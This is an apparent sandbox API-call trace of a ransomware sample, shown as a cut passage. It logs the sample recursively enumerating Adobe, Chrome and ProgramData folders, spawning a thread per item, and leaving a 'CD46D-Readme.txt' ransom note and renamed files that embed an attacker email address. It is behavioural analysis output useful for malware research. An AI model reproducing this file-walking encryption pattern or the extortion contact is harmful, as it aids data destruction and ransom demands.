ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk_UA", cAlternateFileName="")) returned 1 [0140.990] wcscmp (_String1="uk_UA", _String2=".") returned 1 [0140.990] wcscmp (_String1="uk_UA", _String2="..") returned 1 [0140.990] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x972c08 [0140.990] wcscpy (in: _Dest=0x972c08, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0140.990] wcscat (in: _Dest=0x972c08, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0140.990] wcscat (in: _Dest=0x972c08, _Source="uk_UA" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA" [0142.783] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x972c08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x570 [0142.783] FindNextFileW (in: hFindFile=0x941ef0, lpFindFileData=0x907040 | out: lpFindFileData=0x907040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_CN", cAlternateFileName="")) returned 1 [0142.783] wcscmp (_String1="zh_CN", _String2=".") returned 1 [0142.784] wcscmp (_String1="zh_CN", _String2="..") returned 1 [0142.784] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8e9070 [0142.784] wcscpy (in: _Dest=0x8e9070, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0142.784] wcscat (in: _Dest=0x8e9070, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0142.784] wcscat (in: _Dest=0x8e9070, _Source="zh_CN" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN" [0142.784] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e9070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa00 [0142.785] FindNextFileW (in: hFindFile=0x941ef0, lpFindFileData=0x907040 | out: lpFindFileData=0x907040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1 [0142.785] wcscmp (_String1="zh_TW", _String2=".") returned 1 [0142.785] wcscmp (_String1="zh_TW", _String2="..") returned 1 [0142.785] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8e8620 [0142.785] wcscpy (in: _Dest=0x8e8620, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0142.785] wcscat (in: _Dest=0x8e8620, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0142.785] wcscat (in: _Dest=0x8e8620, _Source="zh_TW" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW" [0142.785] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e8620, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa04 [0142.787] FindNextFileW (in: hFindFile=0x941ef0, lpFindFileData=0x907040 | out: lpFindFileData=0x907040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 0 [0143.486] FindClose (in: hFindFile=0x941ef0 | out: hFindFile=0x941ef0) returned 1 [0144.722] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x907040) returned 1 [0144.722] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f13d8) returned 1 [0144.722] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f1058) returned 1 Thread: id = 1766 os_tid = 0x934 [0140.086] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x66) returned 0x8f0e28 [0140.086] wcscpy (in: _Dest=0x8f0e28, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application" [0140.086] wcscat (in: _Dest=0x8f0e28, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\" [0140.086] wcscat (in: _Dest=0x8f0e28, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\*") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\*" [0140.086] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x907c48 [0140.086] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\*", lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9fea70e0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x9fea70e0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da150 [0140.087] wcscmp (_String1=".", _String2=".") returned 0 [0140.087] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9fea70e0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x9fea70e0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.087] wcscmp (_String1="..", _String2=".") returned 1 [0140.087] wcscmp (_String1="..", _String2="..") returned 0 [0140.087] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa3cd6fa0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa3cd6fa0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="58.0.3029.110", cAlternateFileName="580302~1.110")) returned 1 [0140.087] wcscmp (_String1="58.0.3029.110", _String2=".") returned 1 [0140.087] wcscmp (_String1="58.0.3029.110", _String2="..") returned 1 [0140.087] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7e) returned 0x8f71b8 [0140.087] wcscpy (in: _Dest=0x8f71b8, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application" [0140.087] wcscat (in: _Dest=0x8f71b8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\" [0140.087] wcscat (in: _Dest=0x8f71b8, _Source="58.0.3029.110" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" [0140.087] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f71b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x374 [0140.090] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fe80f80, ftCreationTime.dwHighDateTime=0x1d5945e, ftLastAccessTime.dwLowDateTime=0x9fe80f80, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x9fecd240, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x6fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="CD46D-Readme.txt", cAlternateFileName="CD46D-~1.TXT")) returned 1 [0140.090] wcscmp (_String1="CD46D-Readme.txt", _String2=".") returned 1 [0140.090] wcscmp (_String1="CD46D-Readme.txt", _String2="..") returned 1 [0140.090] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7344dbd0, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x117358, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.exe", cAlternateFileName="")) returned 1 [0140.090] wcscmp (_String1="chrome.exe", _String2=".") returned 1 [0140.090] wcscmp (_String1="chrome.exe", _String2="..") returned 1 [0140.091] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.VisualElementsManifest.xml.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="CHROME~1.CD4")) returned 1 [0140.091] wcscmp (_String1="chrome.VisualElementsManifest.xml.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.091] wcscmp (_String1="chrome.VisualElementsManifest.xml.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.091] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa3bf2760, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa3bf2760, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupMetrics", cAlternateFileName="SETUPM~1")) returned 1 [0140.091] wcscmp (_String1="SetupMetrics", _String2=".") returned 1 [0140.091] wcscmp (_String1="SetupMetrics", _String2="..") returned 1 [0140.091] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f7240 [0140.091] wcscpy (in: _Dest=0x8f7240, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application" [0140.091] wcscat (in: _Dest=0x8f7240, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\" [0140.091] wcscat (in: _Dest=0x8f7240, _Source="SetupMetrics" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics" [0140.091] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f7240, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x330 [0140.092] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa3bf2760, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa3bf2760, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupMetrics", cAlternateFileName="SETUPM~1")) returned 0 [0140.092] FindClose (in: hFindFile=0x8da150 | out: hFindFile=0x8da150) returned 1 [0140.092] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x907c48) returned 1 [0140.092] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f0e28) returned 1 [0140.092] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f1138) returned 1 Thread: id = 1767 os_tid = 0x938 [0140.102] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5a) returned 0x90ea10 [0140.106] wcscpy (in: _Dest=0x90ea10, _Source="C:\\ProgramData\\Microsoft\\Assistance\\Client" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client" [0140.106] wcscat (in: _Dest=0x90ea10, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\" [0140.106] wcscat (in: _Dest=0x90ea10, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\*") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\*" [0140.107] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x907c48 [0140.107] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\*", lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da150 [0140.107] wcscmp (_String1=".", _String2=".") returned 0 [0140.107] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.107] wcscmp (_String1="..", _String2=".") returned 1 [0140.107] wcscmp (_String1="..", _String2="..") returned 0 [0140.107] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa8f17049, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x243448f1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 1 [0140.107] wcscmp (_String1="1.0", _String2=".") returned 1 [0140.107] wcscmp (_String1="1.0", _String2="..") returned 1 [0140.107] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5e) returned 0x90e9a8 [0140.107] wcscpy (in: _Dest=0x90e9a8, _Source="C:\\ProgramData\\Microsoft\\Assistance\\Client" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client" [0140.107] wcscat (in: _Dest=0x90e9a8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\" [0140.107] wcscat (in: _Dest=0x90e9a8, _Source="1.0" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0" [0140.107] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x90e9a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x328 [0140.108] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa8f17049, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x243448f1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 0 [0140.108] FindClose (in: hFindFile=0x8da150 | out: hFindFile=0x8da150) returned 1 [0140.109] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x907c48) returned 1 [0140.109] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90ea10) returned 1 [0140.109] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8febe8) returned 1 Thread: id = 1768 os_tid = 0x93c [0140.121] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat" (normalized: "c:\\programdata\\microsoft\\user account pictures\\5p5nrgjn0js halpmcxz.dat")) returned 0x20 [0140.416] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat", dwFileAttributes=0x20) returned 1 [0140.416] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat" (normalized: "c:\\programdata\\microsoft\\user account pictures\\5p5nrgjn0js halpmcxz.dat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x444 [0140.416] GetFileSizeEx (in: hFile=0x444, lpFileSize=0x27af8f8 | out: lpFileSize=0x27af8f8*=0) returned 1 [0140.416] FlushFileBuffers (hFile=0x444) returned 1 [0140.786] CloseHandle (hObject=0x444) returned 1 [0140.786] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat", dwFileAttributes=0x20) returned 1 [0140.786] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6ff0) returned 1 Thread: id = 1769 os_tid = 0x940 [0140.122] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x84) returned 0x8e6638 [0140.122] wcscpy (in: _Dest=0x8e6638, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0140.122] wcscat (in: _Dest=0x8e6638, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0140.122] wcscat (in: _Dest=0x8e6638, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\*") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\*" [0140.122] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x907c48 [0140.122] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\*", lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80366a76, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80366a76, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da110 [0140.380] wcscmp (_String1=".", _String2=".") returned 0 [0140.380] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80366a76, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80366a76, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.380] wcscmp (_String1="..", _String2=".") returned 1 [0140.380] wcscmp (_String1="..", _String2="..") returned 0 [0140.380] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae24f474, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae24f474, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xda0a8861, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile10.bmp", cAlternateFileName="")) returned 1 [0140.380] wcscmp (_String1="usertile10.bmp", _String2=".") returned 1 [0140.380] wcscmp (_String1="usertile10.bmp", _String2="..") returned 1 [0140.380] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x8f6f30 [0140.380] wcscpy (in: _Dest=0x8f6f30, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0140.380] wcscat (in: _Dest=0x8f6f30, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0140.380] wcscat (in: _Dest=0x8f6f30, _Source="usertile10.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile10.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile10.bmp" [0140.381] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f6f30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x240 [0140.387] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae24f474, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae24f474, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdb5a2927, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile11.bmp", cAlternateFileName="")) returned 1 [0140.387] wcscmp (_String1="usertile11.bmp", _String2=".") returned 1 [0140.387] wcscmp (_String1="usertile11.bmp", _String2="..") returned 1 [0140.387] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x908c10 [0140.387] wcscpy (in: _Dest=0x908c10, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0140.387] wcscat (in: _Dest=0x908c10, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0140.387] wcscat (in: _Dest=0x908c10, _Source="usertile11.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile11.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile11.bmp" [0140.387] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x908c10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x39c [0140.389] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae2755d1, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae2755d1, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdb6d3417, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile12.bmp", cAlternateFileName="")) returned 1 [0140.389] wcscmp (_String1="usertile12.bmp", _String2=".") returned 1 [0140.389] wcscmp (_String1="usertile12.bmp", _String2="..") returned 1 [0140.389] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x8feab0 [0140.389] wcscpy (in: _Dest=0x8feab0, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0140.389] wcscat (in: _Dest=0x8feab0, _Source="\\" | out: 